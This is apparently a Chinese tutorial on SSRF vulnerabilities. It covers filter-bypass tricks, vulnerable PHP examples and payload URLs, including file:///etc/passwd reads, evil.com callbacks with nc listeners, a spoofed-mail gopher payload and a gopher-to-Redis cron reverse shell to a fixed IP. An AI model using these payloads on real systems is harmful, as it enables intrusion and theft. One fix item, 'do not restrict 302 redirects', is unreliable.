ssrf存在任何語言編寫的應用中。
SSRF原理及原因介紹
SSRF(server-site request forery,服務端請求偽造)是一種請求偽造,由服務器發起請求的安全漏洞。CSRF是客戶端請求偽造,由客戶端發起。
即讓服務器去請求內網中資源,(因為外網訪問不了內網的資源,目的就是獲取內網中的資源)
原理:由攻擊者構造的攻擊鏈接傳給服務端執行造成的漏洞,一般用來在外網探測或攻擊內網服務。
SSRF形成的原因:服務端提供了從其他服務器應用獲取數據的功能且沒有對目標的地址進行過濾和限制。比如從指定的url地址獲取網頁文本內容,加載指定地址的圖片,下載等。
注釋:除了http/https等方式可以造成ssrf,類似tcp connect 方式也可以探測內網一些ip 的端口是否開發服務,只不過危害比較小而已。
SSRF與CSRF的區別
CSRF(client-site request forery客戶端請求偽造)是服務器端沒有對用戶提交的數據進行隨機值校驗,且對http請求包內的refer字段校驗不嚴,導致攻擊者可以利用用戶的cookie信息偽造用戶請求發送至服務器;
SSRF(server-site request forery服務端請求偽造)是服務器對用戶提供的可控URL過於信任,沒有對攻擊者提供的URL進行地址限制和足夠的檢測,導致攻擊者可以以此為跳板攻擊內網或者其它服務器。
SSRF的危害
-
掃內網
-
向內部任意主機的任意端口發送精心構造的Payload
-
DOS攻擊(請求大文件,始終保持連接Keep-Alive Always)
-
攻擊內網的web應用,主要是使用GET參數就可以實現的攻擊(比如struts2,sqli等)
-
使用file、dict、gopher[11]、ftp協議進行請求訪問相應的文件 通過dict協議獲取服務器端口運行的服務:dict://127.0.0.1:80,通過file協議訪問計算機中的任意文件:file:///etc/passwd sftp代表SSH文件傳輸協議,tftp即簡單文件傳輸協議,允許客戶端從遠程主機獲取文件(詳細可以參看信安綜合實驗2SSRF漏洞實驗報告)
可能出現的地方
1.社交分享功能:獲取超鏈接的標題等內容進行顯示
2.轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽
3.在線翻譯:給網址翻譯對應網頁的內容
4.圖片加載/下載:例如富文本編輯器中的點擊下載圖片到本地;通過URL地址加載或下載圖片
5.圖片/文章收藏功能:主要其會取URL地址中title以及文本的內容作為顯示以求一個好的用具體驗
6.雲服務廠商:它會遠程執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的信息,就可以進行ssrf測試
7.網站采集,網站抓取的地方:一些網站會針對你輸入的url進行一些信息采集工作
8.數據庫內置功能:數據庫的比如mongodb的copyDatabase函數
9.郵件系統:比如接收郵件服務器地址
10.編碼處理, 屬性信息處理,文件處理:比如ffpmg,ImageMagick,docx,pdf,xml處理器等
11.未公開的api實現以及其他擴展調用URL的功能:可以利用google 語法加上這些關鍵字去尋找SSRF漏洞
一些的url中的關鍵字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.從遠程服務器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎對象的地方 如wordpress xmlrpc.php)
比如PHP中下面函數的使用不當會導致SSRF:
fsockopen() curl_exec() file_get_contents()
可以在以上漏洞出現的地方輸入自己的url進行探測,比如可以借助burpsuite在url參數中輸入自己的url,使得服務器去訪問自己指定的url。
舉幾個例子: 在線識圖,在線文檔翻譯,分享,訂閱等,這些有的都會發起網絡請求。
根據遠程URL上傳,靜態資源圖片等,這些會請求遠程服務器的資源。
數據庫的比如mongodb的copyDatabase函數,這點看豬豬俠講的吧,沒實踐過。
郵件系統就是接收郵件服務器地址這些地方。
文件就找ImageMagick,xml這些。
從URL關鍵字中尋找,比如:source,share,link,src,imageurl,target等。
利用方式
1.讓服務端去訪問相應的網址,端口掃描 http://www.xxx.com/ssrf.php?u1=http://www.yy.com:3306
2.讓服務端去訪問自己所處內網的一些指紋文件來判斷是否存在相應的cms
3.可以使用file、dict、gopher[11]、ftp協議進行請求訪問相應的文件 http://www.xxx.com/ssrf.php?u1=file:///var/www/html/index.php
4.攻擊內網web應用(可以向內部任意主機的任意端口發送精心構造的數據包{payload})
5.攻擊內網應用程序(利用跨協議通信技術)
6.判斷內網主機是否存活:方法是訪問看是否有端口開放
7.DoS攻擊(請求大文件,始終保持連接keep-alive always)
遠程利用步驟
1 使用file協議讀取文件 2 使用dict協議查看端口開放情況,當端口開放時會返回 Bad request 3 當端口未開放時:利用gopher協議反彈shell 或者限制了只能使用HTTP,HTTPS,設置跳轉重定向為True(默認不跳轉)即利用302跳轉
繞過SSRF過濾方式
注:參考[8]會有更詳細的繞過方式總結
總述:
-
DNSlog無回顯注入,將payload添加到二級或者三級域名那里,然后受害者服務器會去請求DNS解析,DNS指向我們的NS服務器可以解析,然后這個帶有我們想要數據的url來到我們的 ns(Nameserver)服務器進行解析,然后通過查看ns的日志,就可以看到我們想要的信息。
-
各種其他協議:file:/// dict:// SFTP:// TFTP:// LDAP:// Gopher://
-
在url中加@符號(http基礎認證) ;加上#或?即可;利用封閉式字符數字ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
-
對IP地址進行各種進制的轉換;點換成句號;
-
利用302跳轉(即利用DNS重定向) 192.168.0.1.xip.io 會重定向到192.168.0.1; 短鏈接
-
修改"type=file"為"type=url" 比如: 上傳圖片處修改上傳,將圖片文件修改為URL,即可能觸發SSRF
0 DNSLOG實現無回顯注入
原理:就是,將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去,然后受害者服務器去解析此域名進行請求,我們就可以在我們的ns服務器的DNS解析日志來獲取到它們。DNSLOG是一種回顯機制,使用者可以通過DNS解析日志來讀取漏洞的回顯。 (將dnslog平台中的特有字段payload帶入目標發起dns請求,通過dns解析將請求后的關鍵信息組合成新的三級域名帶出,在ns服務器的dns日志中顯示出來。)
推薦使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台, 如果有自己的服務器和域名,可以自建一個這樣的平台,直接使用BugScan團隊開源的工具搭建即可:https://github.com/BugScanTeam/DNSLog。 另外我們也可以使用在線平台:http://admin.dnslog.link。 http://ceye.io。
1.利用@ http://xxx.com@www.baidu.com/與http://www.baidu.com/請求時是相同的,實際請求的是@之后的
2.各種IP地址的進制轉換
可以是十六進制,八進制等。
115.239.210.26 >>> 16373751032
首先把這四段數字給分別轉成16進制,結果:73 ef d2 1a
然后把 73efd21a 這十六進制一起轉換成8進制
記得訪問的時候加0表示使用八進制(可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣),十六進制加0x
3.加上#或?即可
3.URL跳轉繞過:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/
4.短網址繞過(DNS重定向302) http://t.cn/RwbLKDx
5.xip.io來繞過(DNS重定向302):http://xxx.192.168.0.1.xip.io/ == 192.168.0.1 (xxx 任意) http://xip.io/
指向任意ip的域名:xip.io(37signals開發實現的定制DNS服務)
對於用戶請求的URL參數,首先服務器端會對其進行DNS解析,然后對於DNS服務器返回的IP地址進行判斷,如果在黑名單中,就pass掉。
但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重綁定攻擊。
要完成DNS重綁定攻擊,我們需要一個域名,並且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設置TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:
(1)、服務器端獲得URL參數,進行第一次DNS解析,獲得了一個非內網的IP (2)、對於獲得的IP進行判斷,發現為非黑名單IP,則通過驗證 (3)、服務器端對於URL進行訪問,由於DNS服務器設置的TTL為0,所以再次進行DNS解析,這一次DNS服務器返回的是內網地址。 (4)、由於已經繞過驗證,所以服務器端返回訪問內網資源的結果。
6.限制了子網段,可以加 :80 端口繞過。http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80
7.探測內網域名,或者將自己的域名解析到內網ip
8.例如 http://10.153.138.81/ts.php , 修復時容易出現的獲取host時以/分割來確定host,
但這樣可以用 http://abc@10.153.138.81/ 繞過
9、利用上傳
也不一定是上傳,我也說不清,自己體會 -.-
修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL,即可能觸發SSRF
10、利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
11、利用句號
12、利用特殊地址
13、利用協議
file:///
file protocol (任意文件讀取)
curl -vvv 'file:///etc/passwd'
http://example.com/ssrf.php?url=file:///etc/passwd
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
# dict protocol (操作Redis)
curl -vvv 'dict://127.0.0.1:6379/info'
http://example.com/ssrf.php?dict://evil.com:1337/
ssrf.php?url=dict://attacker:11111/
attacker:$ nc -lvp 1337
SFTP://Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol)或安全文件傳輸協議(Secure File Transfer Protocol)
ssrf.php?url=sftp://example.com:11111/
http://example.com/ssrf.php?url=sftp://evil.com:1337/
attacker:$ nc -lvp 1337
TFTP://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基於lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
attacker:$ nc -lvp 1337
LDAP:// 或ldaps:// 或ldapi://
LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用於管理和訪問分布式目錄信息服務的應用程序協議。
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
Gopher://
Gopher是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
attacker:$ nc -lvp 1337
# gopher protocol (一鍵反彈Bash)
# * 注意: 鏈接使用單引號,避免$變量問題
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
SSRF漏洞代碼分析
curl造成的SSRF
-
漏洞代碼testssrf.php(加了7 9行限制就只能是httphttps訪問)
<?php
function curl($url){
$ch = curl_init(); //初始化 一個curl會話
//curl_setopt()函數將為一個CURL會話設置選項,有很多參數,參數(int ch, string option, mixed value)。option參數是你想要的設置,value是這個選項給定的值。
curl_setopt($ch, CURLOPT_URL, $url);
//CURLOPT_URL: 這是你想用PHP取回的URL地址。你也可以在用curl_init()函數初始化時設置這個選項。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
//限制為HTTP,HTTPS
curl_setopt($ch,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
// CURLOPT_HEADER : 如果你想把一個頭包含在輸出中,輸出到頁面中,設置這個選項為一個非零值。
curl_setopt(.....)
.....
curl_exec($ch); //執行一個curl會話
curl_close($ch); //關閉一個curl會話
}
$url = $_GET['url'];
curl($url);
?>
file_get_contents造成的SSRF獲取文檔數據
//file_get_contents() 是獲取文檔數據
$url = $_GET['url'];
echo file_get_contents($url);
string = file_get_contents($url/"t.txt");
file_put_contents($url/"t.txt",string); //函數把一個字符串寫入文件中。==fopen+fwrite+fclose
//file_get_contents() 函數把整個文件讀入一個字符串中。類似的file()函數則是將文件作為一個數組返回。數組中的每個單元都是文件中相應的一行,包括換行符在內。
fsockopen()造成的SSRF 初始化一個套接字連接到指定主機
//fsockopen() 獲取到的是指定url數據(文件[img video等]或html文檔),是建立套接字傳輸原始數據
<?php
function Getfile($host, $port, $link){
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
//類似$fp=fopen('data.txt', 'w'); 打開一個文件,
//fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ):初始化一個套接字連接到指定主機(hostname),返回一個文件句柄,可以被fgets(),fgetss(),fwrite(),fclose()還有feof()調用
//最后一個參數是連接時延
if(!$fp){
echo "$errstr (error number $errno) \n";
}else{
//如果連接成功,則發送get請求
$out = "GET $link HTTP/1.1\r\n";
$out .= "HOST $host \r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
//fwrite ( resource $handle , string $string [, int $length ] )將string寫入到文件指針handle處
$content = '';
while(!feof($fp)){
//feof($fp);測試文件指針是否到了文件結束的位置。
$contents .= fgets($fp, 1024);
//fgets()從打開的文件中返回一行。一行一行的讀取,存到$contents字符串中
}
fclose($fp);
return $contents;
}
}
curl_exec()造成的SSRF 獲得curl會話的結果
//curl獲取頁面內容, 不直接輸出例子:
$url = 'http://www.jb51.net';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//CURLOPT_RETURNTRANSFER使得curl_exec($ch)獲取頁面返回的內容,==作為變量存儲,而不是直接輸出==。
$response = curl_exec($ch); // 已經獲取到內容,沒有輸出到頁面上。
curl_close($ch);
echo $response;
file_put_contents('./1.txt',$response); //獲取到的內容保存到文件中
?>
修復方法
-
限制協議為http、https
-
不用限制302重定向
-
設置url白名單或者限制內網IP
漏洞示例
1.Wordpress3.5.1以下版本 xmlrpc.php pingback的缺陷與ssrf
2.discuz!的ssrf (利用php的header函數來繞過,其實就是302跳轉實現協議轉換)
3.weblogic的ssrf